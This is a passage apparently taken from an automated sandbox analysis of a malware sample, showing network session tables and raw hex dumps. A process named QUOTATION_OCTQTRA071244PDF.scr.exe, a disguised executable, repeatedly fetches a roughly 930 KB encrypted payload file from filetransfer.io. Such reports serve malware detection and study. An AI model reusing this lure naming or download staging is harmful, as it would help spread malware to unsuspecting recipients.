2f 55 f8 80 ec Data Ascii: 5F,ez hMuB3,'UKz 3!KqA'5jGY>cZ7xLQ\|}\|:6OkrCTxwLa5\|c'jrX9':hoD!Pv]~(wv -zGx$X^RC+dl^8UYP@8e/U
2024-10-04 09:26:27 UTC	1369	IN	Data Raw: cf e3 34 fd 62 b6 19 07 14 4a c7 9d 49 f2 ae 2f 6c 12 22 91 1a a9 ff 84 12 34 6f a3 80 de 66 d8 36 49 42 e3 98 65 bb db 5c f1 00 98 89 d0 1a 40 30 2a d6 f2 5a 79 1b 44 a6 05 4d bc 6b 19 31 9a 1a 98 54 a3 27 33 50 3f 40 f4 d3 a7 37 14 a2 71 43 4a d8 40 13 f0 0e c4 ab cd 20 2a 84 37 98 05 42 ee 63 14 b5 1a f4 7b 57 84 7e c6 fc b5 27 e8 34 fa 49 a4 41 d8 5d a6 2e a8 cc c9 70 1d b0 81 ea b8 7c 67 e8 1d ed aa 0a d5 f4 49 8e 81 de f4 35 71 d5 54 31 c3 6a 61 bf 0a 9b b3 be b7 34 4b c4 1d 16 1a b2 5f 29 52 98 ac cf 93 4a ae 09 dc 07 c3 b2 24 af ba 88 61 03 68 b7 6f a9 29 e9 99 bc 53 1e 8e 98 29 c9 62 79 ab 4c f6 2f 58 72 c9 89 29 18 f4 c9 98 17 e5 42 71 10 60 f3 71 04 32 37 04 8d a6 fc 79 3e 41 f1 57 88 d0 25 8f 02 cd a8 ab f7 03 4c 49 36 f1 16 6d cc ff 86 8e ee Data Ascii: 4bJI/l"4of6IBe\@0ZyDMk1T'3P?@7qCJ@ 7Bc{W~'4IA].p\|gI5qT1ja4K_)RJ$aho)S)byL/Xr)Bq`q27y>AW%LI6m
2024-10-04 09:26:27 UTC	1369	IN	Data Raw: 39 90 b4 68 7b 14 72 02 24 0c 4b 36 13 b0 06 3e f3 f7 da 1d 71 a8 fe c6 0b cb 8c b8 ab 2f 68 37 81 49 b6 5b 02 b0 2b f1 88 7c 26 30 b1 89 1d db d8 ed d7 67 f3 b5 80 d1 e3 fa 12 7c 6e 5d f3 89 42 67 cf e9 98 13 87 c0 41 b1 c9 62 de 7c a2 97 81 87 a4 fb 39 4d 95 05 ef fe fa de cb 62 f1 16 eb 9e 33 54 d2 36 0a c4 65 04 04 dc fc 4b 7e dd 93 55 21 ba c3 6a 92 a8 f9 58 dc 42 2e 60 88 ec 1a c9 3c 86 5b 2c 6f ea 81 16 8a fd bc ed 7c a4 d4 7b ad a9 f0 3e ad 9c 25 0f 95 2c 3e ea a0 b1 2d 42 35 a2 ac d0 e7 c2 47 10 36 8e 5b 75 fc 7b f2 26 d2 68 54 8e 65 c8 30 bd 79 ec f6 5a bb b3 cd 44 0c 9e 9d c2 8a 1c 51 29 09 19 9a a3 a7 7f 0f f9 86 b1 eb 7f bd f4 74 bc 86 8e e6 c4 89 60 da 52 15 d6 80 a1 3f fa 3c 81 f0 23 16 fa 62 71 24 1d 4a 22 59 e2 f5 8c db c6 c1 be cb 4d 7e Data Ascii: 9h{r$K6>q/h7I[+\|&0g\|n]BgAb\|9Mb3T6eK~U!jXB.`<[,o\|{>%,>-B5G6[u{&hTe0yZDQ)t`R?<#bq$J"YM~
2024-10-04 09:26:27 UTC	1369	IN	Data Raw: 2a 14 bb e9 7c 22 c5 0b fd ee a4 f8 d7 8e 0f a3 bf ed e1 8a b3 9b 05 32 2f f3 ad 94 4a 93 3a 47 ab b8 9c 20 f4 28 af ab fd 2e 44 88 57 df 62 2c 6a 98 05 9a 95 70 ce 92 eb b8 a9 38 41 93 35 ac 6d 6c be bd af 66 7c 51 2a ec d8 99 dc 1b aa f5 7e 8b 49 8b fb 8d 70 b8 0e 06 38 75 77 cf d1 45 20 47 b6 80 6e 5e ed 88 82 b5 de d8 72 3d 2e ec f6 43 67 0a 1f 63 05 de bf c8 10 04 13 71 1e f6 c6 0d a1 37 1f 26 60 4d bb 50 c0 99 11 f8 0b 09 1b d9 05 8b 2d 36 de 09 91 30 76 2b 74 55 b6 8d b6 c7 6d a7 92 79 f9 c6 c5 d1 9f 49 4d 96 a5 35 b2 07 78 ec a4 f3 81 c7 12 6a 7b b7 9c cf b2 9d 3b 03 00 5c 3a 45 87 cd 9e 19 92 f7 20 61 a8 c4 c2 b2 96 f9 db 98 59 ad d8 2b 9b c9 c3 b4 c1 b5 df 97 ad 90 4b ce bd 40 1e 7c 59 93 96 5c 9d 5d 53 fd 48 f9 33 cb 03 d7 0e 33 c6 87 6d 91 3b Data Ascii: \|"2/J:G (.DWb,jp8A5mlf\|Q~Ip8uwE Gn^r=.Cgcq7&`MP-60v+tUmyIM5xj{;\:E aY+K@\|Y\]SH33m;
2024-10-04 09:26:27 UTC	1369	IN	Data Raw: 93 2b ed bc 2e 24 c7 40 b0 47 04 99 99 f2 66 45 c1 97 56 e2 bf 12 1b 07 68 d5 7d 77 f6 7e 20 7d ce 35 8f 0b a5 1b fb 09 82 b4 73 10 bf d5 4a 22 03 55 b2 2a 49 57 86 f9 82 9c 62 c5 3c ad 00 ad 58 46 e9 aa 7c 2a 7d a3 79 6c 14 c7 9d fc 43 60 21 f0 5b ad 22 b9 5e b4 6b d1 e9 6b 75 90 d1 6a 44 ef 1b 09 47 e8 77 2e 8e 5f 66 8a 81 53 ca 73 03 2d cf bc ff bb c0 2b b4 20 54 b4 30 a9 b1 96 c1 fe ce 95 aa 30 a8 81 7a 00 a5 d1 c1 ed 8e 7a 93 84 f9 fc e2 f9 cd 05 de fb ea 44 c2 88 d0 46 b8 ed a3 b8 2c 2c f6 97 e3 e9 04 94 61 1e e4 17 d2 18 2d 3b d7 fa 4d 52 23 e5 98 ed 0e bd 41 11 23 0f 2c ed db 59 ee 6f 8d 5c 3c 91 f5 3e 83 ba 08 a2 a6 75 c4 06 44 b8 fd bb 7c 84 d4 8b 6b 30 91 e8 38 e1 f1 a0 08 7d 45 06 02 51 3f 1f b6 52 73 e5 45 21 ab 94 4c ee 1a e3 b8 04 73 9d 1e Data Ascii: +.$@GfEVh}w~ }5sJ"UIWb<XF\|}ylC`!["^kkujDGw._fSs-+ T00zzDF,,a-;MR#A#,Yo\<>uD\|k08}EQ?RsE!Ls
2024-10-04 09:26:27 UTC	1369	IN	Data Raw: c7 08 7f 1d e7 c2 7f 01 79 7e 82 5e b8 9b 5a c3 55 fa 83 be c7 78 41 57 bc 23 02 5d ee 12 c0 43 0e 3c 09 83 18 a6 68 09 0f 5b c3 23 68 67 43 f0 1a 20 3f 76 a3 d4 d1 f4 2a 8b 09 dd 20 a1 93 0e 81 8c e5 aa 59 75 8a 3f 49 ba b5 31 b3 d0 63 14 06 e1 2f fe 0c 5c 73 e5 12 69 02 8e 8f 31 f4 2f 2b e0 4e 1a 38 68 2c 1f 79 60 65 21 9b 63 2d 77 b0 73 2d 63 63 88 d5 09 65 d7 c2 03 2c df 41 2c 26 a5 ee 71 b2 24 7b 7c 23 8a 07 11 ac 84 5c 4c 5e db 7e 0b ee 7e f6 62 57 c6 13 6f 74 60 2a 45 4f 9a 2e 31 15 2b c1 93 b8 5b 02 e8 97 d4 25 e7 4d ef af 09 93 cc a2 7e e3 4f 28 1e 10 57 48 5c bb 89 cd 20 61 5a d8 a8 61 ad 7a b4 ae 2b e5 d0 80 3c 99 a2 1f 48 66 20 cd 50 42 83 f5 a5 34 40 67 db 8a 89 cb 90 dc e3 56 11 87 da 91 1c 1a a1 f7 ce dd 0c d8 59 7b bf 05 9a 1e f6 4f 44 52 Data Ascii: y~^ZUxAW#]C<h[#hgC ?v* Yu?I1c/\si1/+N8h,y`e!c-ws-cce,A,&q${\|#\L^~~bWot`*EO.1+[%M~O(WH\ aZaz+<Hf PB4@gVY{ODR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	50276	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:26:29 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:26:30 UTC	1078	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:26:30 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=sovu38u6thsebe3fgm961he15h; expires=Fri, 18-Oct-2024 09:26:30 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/UOzJ7nwkJVlJ cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vNuce%2BfgHpQ1sThkXWBhSrxOID2Ydt%2F5QEiQ7ShEpt%2F8jK3a7km5zV%2BOxSYPAJgv4CQT%2B%2Fq81Cyz1GOGn%2FKhWZsn3Z6o9o2h5Dv8IyQx%2F28SDkmf%2BLOYXCElo98cMZQ69Lw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd421753844c454-EWR
2024-10-04 09:26:30 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 55 4f 7a 4a 37 6e 77 6b 4a 56 6c 4a 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/UOzJ7nwkJVlJ">Please click here to continue</a>.</p>
2024-10-04 09:26:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	50277	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:26:31 UTC	98	OUT	GET /storage/download/UOzJ7nwkJVlJ HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:26:32 UTC	1026	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:26:32 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=b4b0f2067affa62190ebbd82908000fe; expires=Fri, 18-Oct-2024 09:26:31 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Wj4isT1auIgDQe9aVNSsVKV2evqOzst%2FWnU2Ab18bi9SlTcGkuuq0N3WfVEYD6GF7KkHMnkGI%2FRoj3uDNuijr6fN8pxD4yCZZ%2BkZfVMLyrLoQwSmf95%2FlCkxbuU%2BkimBTvd%2FEpmk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd4217d1b7d1861-EWR
2024-10-04 09:26:32 UTC	343	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:26:32 UTC	1369	IN	Data Raw: b1 49 bf 4b 3e 16 67 dd 24 29 55 60 2b e2 b5 8f ef 43 4a 45 ea 5b 7c 5b 96 a6 d9 e9 81 eb ce 96 5c 2b c6 e0 97 3b d7 e4 9b f3 f9 f1 49 2e 47 dd 61 f4 1a e4 c3 87 50 e4 a5 94 a3 61 be 91 69 36 f3 5c d9 b3 e0 17 61 be ce 62 88 a6 af f5 fd 74 e3 8e 68 70 ab 23 0a 45 02 5b 08 e8 0d 4b 48 83 1e ce 83 6a a7 60 4e 10 15 34 25 52 c1 23 81 82 86 d9 41 66 09 e8 97 de 38 bc 92 f0 64 49 8e 27 1a 73 7e 41 42 13 b9 2c 85 db 73 f7 18 f0 be a1 b3 ce dc d2 a9 8a b6 c2 d7 a9 b2 2b 89 1d 2d 73 c5 ec 51 7d e1 1d 4b 28 58 63 19 09 9f d4 87 07 39 06 0e ad 9e 80 7f 6c 5c 3a 25 e5 16 cf b4 46 1c f5 52 36 44 03 0b 91 a6 c3 e3 37 f9 73 73 d4 cc be d5 bd c8 25 28 55 b1 98 2c 6d b8 9f 06 35 c4 0c fb 3f bf 4d 28 3c 17 f5 5d 26 43 34 09 c3 38 87 63 53 38 43 b9 d9 45 d6 70 07 11 dc 9b Data Ascii: IK>g$)U`+CJE[\|[\+;I.GaPai6\abthp#E[KHj`N4%R#Af8dI's~AB,s+-sQ}K(Xc9l\:%FR6D7ss%(U,m5?M(<]&C48cS8CEp
2024-10-04 09:26:32 UTC	1369	IN	Data Raw: 47 8f 77 48 05 21 38 26 de fa 78 94 47 1b a8 1f 3e f8 7b c8 37 b6 c0 75 67 53 44 e9 b2 47 1f 92 7e dc a9 9a 03 c5 c2 8b fd 6c 58 95 6b c7 fe a7 f5 52 00 2a 86 0f 21 83 bf 58 63 b9 f2 0b 50 ee 0a 05 e6 ca 9b 87 5a aa f7 90 9a 19 85 56 a2 fd 42 44 4d 78 6e e8 43 ef 30 d1 60 fb 0e 7a b6 30 25 f3 fa 13 fb 85 2a 72 d5 df ab 1f ae 8c 8f 8b 1e 19 16 ed 5b bf 79 7a 79 42 c4 5b 70 1a be e6 93 79 1c 9b 46 54 89 66 5c 11 bd 7f ac 07 5c 37 3e 81 3a 62 36 ac f5 81 06 6c 91 b6 e9 55 01 cc 33 42 ab 65 66 49 b8 cc d9 3f c8 b8 08 4d eb 33 68 7a 42 ff 72 61 4e 3f aa 09 32 b5 60 d4 7a ab 1b d0 80 5e c6 c9 57 40 8d cf 91 cd eb 79 26 8e e8 b6 22 90 0b 62 4a 2e 14 b3 68 e5 16 51 a9 97 b5 30 68 a0 df 11 c1 b5 9e 4a b2 1d b5 ad 7a 4e 04 64 f4 c7 84 ec fb b4 a7 94 1f d6 78 a7 c6 Data Ascii: GwH!8&xG>{7ugSDG~lXkR!XcPZVBDMxnC0`z0%r[yzyB[pyFTf\\7>:b6lU3BefI?M3hzBraN?2`z^W@y&"bJ.hQ0hJzNdx
2024-10-04 09:26:32 UTC	1369	IN	Data Raw: a7 70 dc ca dd 11 26 c4 ae b4 07 4a 11 c2 3d d3 cb 43 b8 85 71 2a 7f 02 48 e5 f2 3c 1d 0e 33 1a 0f 0d c8 c5 ec 42 6f 2b f7 0b c2 5b 14 d2 9d 6c 8f 67 72 ea 25 46 30 a7 82 8f 4d 08 e0 30 cc 25 48 66 15 c2 23 bd 05 5f 12 26 90 de e2 4f 3f cc 74 bc 05 d7 c1 20 1f 7a d7 a7 c6 ea 27 14 34 45 66 7d 63 8b 32 30 95 f2 0c 2b 5d a7 da 33 b3 86 c1 83 0b d6 65 0d e5 43 c6 4d b8 15 1c ef 47 07 ca b9 e7 75 fa b2 4c d3 8f 79 f4 d7 cb 87 25 02 62 2a f3 dc d4 2e a4 5a bd fe 96 b9 16 a6 4a c2 af f5 ff ff ef c2 36 75 e0 ff b3 c4 b3 66 ec eb e4 44 55 2d 1a c4 11 0b 5d 71 0e 7b 8c ef 13 d4 ec fc 7a 35 96 70 af e9 57 de ae 36 d1 67 f8 ff 6b 25 f4 b6 b3 4a ac 6f c3 c4 69 40 71 71 cb f7 33 2c dd dc d3 04 7b d2 73 ee 7a a1 e9 79 44 8d ee 27 59 11 fe 46 85 4c 66 bc 05 25 80 3c e7 Data Ascii: p&J=CqH<3Bo+[lgr%F0M0%Hf#_&O?t z'4Ef}c20+]3eCMGuLy%b.ZJ6ufDU-]q{z5pW6gk%Joi@qq3,{szyD'YFLf%<
2024-10-04 09:26:32 UTC	1369	IN	Data Raw: 17 7d 59 97 dd 5c 21 51 15 05 3d 35 3d 5c a7 50 81 19 7e db 8f 9f 3d e6 fa 96 da 62 6f c6 17 19 93 db 8e 1a 26 76 91 81 ca 74 bb 8e 6d e0 80 90 c6 6b 66 de 8b d6 5a cb 1d aa c5 96 01 99 85 e1 0c 4e f5 f0 38 43 78 70 f4 76 7c 6a 68 1f ed 65 5a c0 cf ab 30 9d 15 50 4e b5 f1 74 bb 9b 08 96 61 6b 89 1d a0 05 34 e6 d6 d7 45 3a aa 13 a7 b0 51 57 4e 9a de 8c 51 c4 c7 3b 0c 42 9d 50 00 11 37 68 fd a9 81 d3 e9 52 2f 59 35 fe 97 43 14 6d cb 53 18 c3 aa cc 4b c3 d4 ef 4a 87 1e 6d 71 a8 de dd 7b 78 06 d5 6b 9b 34 9c 86 2d 3f 0e e9 80 4d 6b e7 4e 86 16 a9 e6 ee 1b f2 f7 de 0e aa c4 f6 51 1b 94 81 16 29 14 42 b9 4f 49 15 2b 6c bc 6f 2a e3 8f 82 0e a6 58 7e 56 d6 d0 16 af 1b 6f 45 fd 10 2f 5c 72 c2 c7 d0 6a 4e 1c d6 8d 3c d0 bf a2 42 85 62 96 53 55 b1 a9 af 98 12 50 90 Data Ascii: }Y\!Q=5=\P~=bo&vtmkfZN8Cxpv\|jheZ0PNtak4E:QWNQ;BP7hR/Y5CmSKJmq{xk4-?MkNQ)BOI+lo*X~VoE/\rjN<BbSUP
2024-10-04 09:26:32 UTC	1369	IN	Data Raw: c8 a6 df ca dd ee 0b a8 96 cf 42 34 73 38 d3 b5 0f ea ba af 14 9e 3d 75 76 b6 c3 13 1d 18 a5 4d 50 25 0d 9f 2d 96 2e c7 88 74 43 bf 3a 3e cd fc 00 8a 82 e1 6f 97 da 50 04 36 6e 3e 3b cf 45 b2 7a 08 fc db 13 cd 80 18 9b 7b 1e 4f 38 28 3f 8f a0 90 e2 86 d9 c4 6e 97 e9 4b 4c cb 2d 7b 30 b4 f5 e9 78 33 cb 9c 10 d8 48 84 74 c8 9b 55 a3 7d 80 15 20 54 d8 33 7c 97 75 bd 53 28 c7 38 0e 51 17 11 7e ab 1b 7b 89 88 39 79 18 b8 e0 29 92 fd da 00 85 5c ae d5 8b a0 2d 49 9d 72 20 e6 b8 17 ab ad 24 8b 69 e0 2f d2 29 c3 db 88 ed 7d e8 39 76 8e 14 bc 51 c0 4b 8d 32 9c 7f 03 ee f9 ae 8f 74 c3 e7 94 74 9d 7c 6e 2b b2 97 a9 a2 af 9e 39 52 8a 07 6b 99 5a 8d 05 0a 73 9f 6f ec 4b d1 66 6e e1 4d 9f 55 57 1b 7f fb ac a7 0e d4 25 b2 da 59 6a 4d 26 a9 0a 7c 71 4e 8c 75 5b 28 4f da Data Ascii: B4s8=uvMP%-.tC:>oP6n>;Ez{O8(?nKL-{0x3HtU} T3\|uS(8Q~{9y)\-Ir $i/)}9vQK2tt\|n+9RkZsoKfnMUW%YjM&\|qNu[(O
2024-10-04 09:26:32 UTC	1369	IN	Data Raw: 49 66 0a 53 76 94 0d 35 dd 04 d8 f5 98 53 09 2d de 64 36 f6 77 ee 33 4b f6 75 bb 68 40 9d 33 c8 b3 b9 b8 57 ec 36 71 50 53 cd 85 93 4b 2a ea ca 5f c1 d5 99 a0 1f d8 37 1a 06 5a f4 04 26 08 c9 92 51 d1 33 84 cc ca 61 8d 6b 98 c1 9f a1 af 23 f0 6a 78 10 da a3 22 d8 72 66 ad 86 7b 67 e5 3a b2 6c 49 89 6a 34 f9 a6 10 19 8a 96 94 4c eb b9 99 83 b7 54 90 10 8c 13 dc 48 dc 69 a5 44 31 0a 06 82 06 16 20 0a 24 2d 6c 56 0d 00 7a a9 5f f3 37 a3 45 58 ee 12 c6 45 da 1f ee 35 a9 54 4b a5 f5 9d 3d 72 3a 27 05 f0 ff 90 d6 b5 2a 93 9b 7a 2d f2 0d 5e 88 d2 3a c3 73 d6 1b 78 ef 45 ff b1 66 4f 63 20 ee 7b a9 0f 58 1a 71 12 e0 e6 e6 48 06 ec 72 1a fd 93 dd 87 f9 95 ff 81 d8 54 d1 d6 cf 29 df 46 57 a4 ec c0 f5 4e 55 37 b7 7d cd f8 67 9b 74 d0 a9 02 3c 96 2b e8 56 09 13 ef e2 Data Ascii: IfSv5S-d6w3Kuh@3W6qPSK_7Z&Q3ak#jx"rf{g:lIj4LTHiD1 $-lVz_7EXE5TK=r:'z-^:sxEfOc {XqHrT)FWNU7}gt<+V
2024-10-04 09:26:32 UTC	1369	IN	Data Raw: 6c a6 f1 c4 42 eb bf a6 96 07 b8 eb c9 d1 15 ff 96 87 05 fc 6a c2 57 c7 65 32 4b 36 06 79 84 6e 7d 1a af 7f 98 dd a7 f9 c5 ec 36 0c 71 f1 3b d4 b5 7d a6 40 32 3d 5e a5 8c 73 eb 9b 69 1f 1f e4 0a 08 0d 52 51 ca 77 4c d2 d6 68 ce a5 b1 be e6 4f c5 5a 95 bc 6d 08 be 3c da ae 66 32 14 4b 51 52 8d 5c 64 c4 c5 07 ba b8 60 bc 6f f0 7c 74 f4 03 57 78 d3 59 ec fd 88 d6 de 9b cc 60 5b 27 6f 13 f8 e2 fd ba 01 d3 a1 12 8e 04 a4 39 73 10 7a 1c 8f 39 f8 18 e7 96 f9 b6 f7 35 6d eb 99 4e d0 2b 67 2a 1d a2 67 65 9f d6 ee bc 07 d9 b8 e3 97 ba 08 22 09 3c 94 2a 1d a0 a8 61 28 24 0a 57 55 16 69 77 bd ae e3 cc 49 1e c3 02 44 a5 88 1b 0b 96 10 70 e7 61 5d 20 8b b1 c2 74 81 ea 2f 90 36 69 e1 fa 5d bb 13 2f 3e ff fc 08 a7 5d 18 ff 1f 4b 26 89 4d 2b ca 0e 03 dd 00 77 ca 30 95 aa Data Ascii: lBjWe2K6yn}6q;}@2=^siRQwLhOZm<f2KQR\d`o\|tWxY`['o9sz95mN+gge"<a($WUiwIDpa] t/6i]/>]K&M+w0
2024-10-04 09:26:32 UTC	1369	IN	Data Raw: 2f a1 69 6a 20 ac c8 ee 23 94 98 a1 e4 68 7c 27 7c 08 25 79 f5 19 04 79 8b 69 1c d5 f0 30 e7 5d b3 47 e4 b6 c3 d3 5c 44 92 15 d8 5c 95 aa ba 56 b4 c6 c2 1d b3 30 14 77 c8 6d d5 82 1c c8 a6 9c 51 6d 14 a9 26 02 1a 75 e3 42 a5 9a 30 fd 2a ec f7 52 27 24 6f d2 d7 96 ff ff 9d 20 9b 11 8e d3 ee 66 03 1f 1b b0 dc 96 11 c3 28 ab a7 f8 d8 42 f8 e4 33 15 ac e6 d0 28 c6 77 0c fb ca 4a 02 73 74 b7 ef 8c 1b b8 bc 44 4b 43 91 42 e9 95 c3 1a fd 3b 57 67 88 c3 ef 8c c1 6b 48 3a 33 01 d8 4f 7b 9b 4c 58 8a 41 9b 32 af 2c 5d 4d 35 e4 75 d0 bc d9 8b ce 59 17 15 dd 06 78 85 f5 62 43 a8 ce a8 df 2d 67 f5 0d a9 15 5d cd 67 93 70 19 5f 37 fd 01 da b7 b7 04 d1 79 1d 09 54 ed 91 6d 46 52 3a 51 e4 b6 ca 6e dc 7a f7 eb 7d 9b 16 0e c9 81 69 2d 56 d4 ce 95 c9 7f 1c 30 9c 91 ef fe 58 Data Ascii: /ij #h\|'\|%yyi0]G\D\V0wmQm&uB0*R'$o f(B3(wJstDKCB;WgkH:3O{LXA2,]M5uYxbC-g]gp_7yTmFR:Qnz}i-V0X
2024-10-04 09:26:32 UTC	1369	IN	Data Raw: 64 bc 84 ab 4e 04 63 33 25 df 6b 8b 89 0b 29 19 82 17 b7 ab cf ce 2a 7a 61 ac 22 59 e8 9c a2 2c b4 93 52 34 b9 12 6f 25 26 f6 eb e6 4f e9 9e 22 b8 99 55 88 da 8e 9f a8 e0 3a 1f a0 51 04 af 0a 34 de ec c6 57 32 c7 ae ac 47 41 bd 4e 50 80 ad 96 b0 9a 33 0b 03 19 59 b7 3b e6 d4 8b e4 dc 30 07 da 5c 3e 84 2d 69 ba a2 be 43 3b d4 42 39 b3 b7 f1 19 0c 0c 10 da 05 d3 ea 83 e4 88 1c ad fb 22 03 45 6a c8 56 2a ee aa 46 d2 97 46 01 2f c9 ed f8 f8 9b 9a 0e 1f 67 83 f0 9c 3f 86 d8 1d e0 90 8e dd fb d7 91 87 41 36 f8 cc 53 c5 fb 7b 8f dc eb da b1 86 18 1b 28 94 8c a5 09 63 a9 fa ec 31 c3 65 e0 94 72 b6 51 12 f7 0c bc 13 d7 b2 0b a3 68 9e 12 48 1a dc 7d 70 f1 f8 90 8f 42 8e b8 38 21 6b d8 d0 69 ef 8c 16 45 e4 21 87 34 64 56 b8 62 2f 61 ef 4f 65 44 d3 e6 bb db 62 a7 0a Data Ascii: dNc3%k)za"Y,R4o%&O"U:Q4W2GANP3Y;0\>-iC;B9"EjVFF/g?A6S{(c1erQhH}pB8!kiE!4dVb/aOeDb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	50279	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:26:34 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:26:35 UTC	1068	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:26:34 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=ik1p9b623sqt8mm9rddkts0nbf; expires=Fri, 18-Oct-2024 09:26:34 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/WRMLI4CLhfdR cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lf8R%2BGbuq9aHoBijhAGf63aXBt60a7GDGFT5Zm%2BDbY29ewLF4QNlFUEF4roJKCDQY9vLCbSwltDctND10K5aNC9vnZ4QYki3NCnZCaZUIrEZL%2BmzreYlMcdSJ6m%2BqiCdiGo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd421908b452363-EWR
2024-10-04 09:26:35 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 57 52 4d 4c 49 34 43 4c 68 66 64 52 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/WRMLI4CLhfdR">Please click here to continue</a>.</p>
2024-10-04 09:26:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

